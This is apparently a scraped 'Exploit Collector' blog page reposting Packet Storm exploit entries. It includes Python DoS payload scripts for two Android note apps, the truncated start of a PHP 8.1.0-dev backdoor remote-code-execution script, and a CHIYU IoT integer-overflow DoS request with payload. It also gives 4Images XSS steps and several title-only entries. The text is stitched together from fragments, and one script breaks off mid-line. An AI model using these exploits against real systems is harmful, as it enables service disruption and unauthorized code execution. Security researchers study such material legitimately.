Hacking Articles
Linux Privilege Escalation: Python Library Hijacking

In this article, we will demonstrate another method of Escalating Privileges on Linux-based Devices by exploiting the Python Libraries and scripts. Table of Content Introduction Python Script Creation Method 1 [Write Permissions] Vulnerability Creation Exploitation Method 2 [Priority Order] Vulnerability Creation Exploitation Method 3 [PYTHONPATH Environment Variable] Vulnerability Creation Exploitation

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Exploit Collector
ColorNote 4.1.9 Denial Of Service

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
ColorNote version 4.1.9 suffers from a denial of service vulnerability.

MD5 | 14271b47e4c267dc72bccae9db685878

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# Exploit Title: ColorNote 4.1.9 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=com.socialnmobile.dictapps.notepad.color.note&hl=es_MX
# Version: 4.1.9
# Category: DoS (Android)

##### Vulnerability #####

Color Note is vulnerable to a DoS condition when a long list of characters is being used.

# STEPS #
# Open the program
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt in the new note.
# Click the "Return" button twice.
# Start clicking the screen.
# Crashed

Successful exploitation will causes application stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

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BasicNote 1.1.9 Denial Of Service

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
BasicNote version 1.1.9 suffers from a denial of service vulnerability.

MD5 | 2865870db34a5f8332d1d4120755f438

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# Exploit Title: BasicNote 1.1.9 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=notizen.basic.notes.notas.note.notepad&hl=es_MX
# Version: 1.1.9
# Category: DoS (Android)

##### Vulnerability #####

BasicNote - Notas, Bloc de notas is vulnerable to a DoS condition when two long lists of characters are being used when creating a note:

# STEPS #
# Open the program
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will causes application stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####

#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

Source:packetstormsecurity.com

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Exploit Collector
Gstreamer Matroska Demuxing Use-After-Free

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Gstreamer suffers from a use-after-free vulnerability in Matroska demuxing.

MD5 | 8295d83b0f5ff21a0ba7ec7f666eeee2

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Source:packetstormsecurity.com

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PHP 8.1.0-dev User-Agentt Remote Code Execution

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
PHP version 8.1.0-dev remote code execution exploit that leverages a backdoor under the User-Agentt header.

MD5 | 4a66165091ec5e614d9f7b2d045ffcb8

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# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
# - https://hub.docker.com/r/phpdaily/php
# - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '
Source:packetstormsecurity.com

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Exploit Collector
Gitlab 13.9.3 Remote Code Execution

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Cisco SD-WAN vManage 19.2.2 Remote Root

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Cisco SD-WAN vManage version 19.2.2 remote root shell proof of concept exploit that leverages multiple vulnerabilities.

MD5 | a4bd588c350b9a327fc445d03fadab85

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Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC

Source:packetstormsecurity.com

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Exploit Collector
CHIYU IoT Denial Of Service

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
CHIYU IoT devices suffer from an integer overflow denial of service vulnerability. Affected devices include BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC with firmware versions prior to June 2021.

MD5 | 2710ae05b0dfa9c84b0ae83ebc6ff34e

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# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to the CGI component (if.cgi)
3. Append the payload at the end of the vulnerable parameter (page)
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

Source:packetstormsecurity.com

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Exploit Collector
4Images 1.8 Cross Site Scripting

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
4Images version 1.8 suffers from a cross site scripting vulnerability.

MD5 | 4674a7f7a4902040e42fa9c804d23d17

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# Exploit Title: 4Images 1.8 - 'redirect' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/?download=4images1.8.zip&code=81da0c7b5208e172ea83d879634f51d6
# Version: 4Images Gallery 1.8
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27308

-Description:
A cross-site scripting (XSS) vulnerability in the admin login panel in 4images version 1.8 allows remote attackers to inject JavaScript via the "redirect" parameter.
-Steps to reproduce:
1- Goto 4images admin panel page (demo instance: https://localhost/4images/admin/index.php)
2- Enter the credentials , Turn on the intercept and click on "Login"
3- copy paste the XSS payload after redirect=./../admin/index.php%3Fsessionid=xxxxxPASTEPAYLOADHERE
4-Forward the request and you can see XSS is triggered.


Source:packetstormsecurity.com

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Exploit Collector
Local Service Search Engine Management System 1.0 SQL Injection

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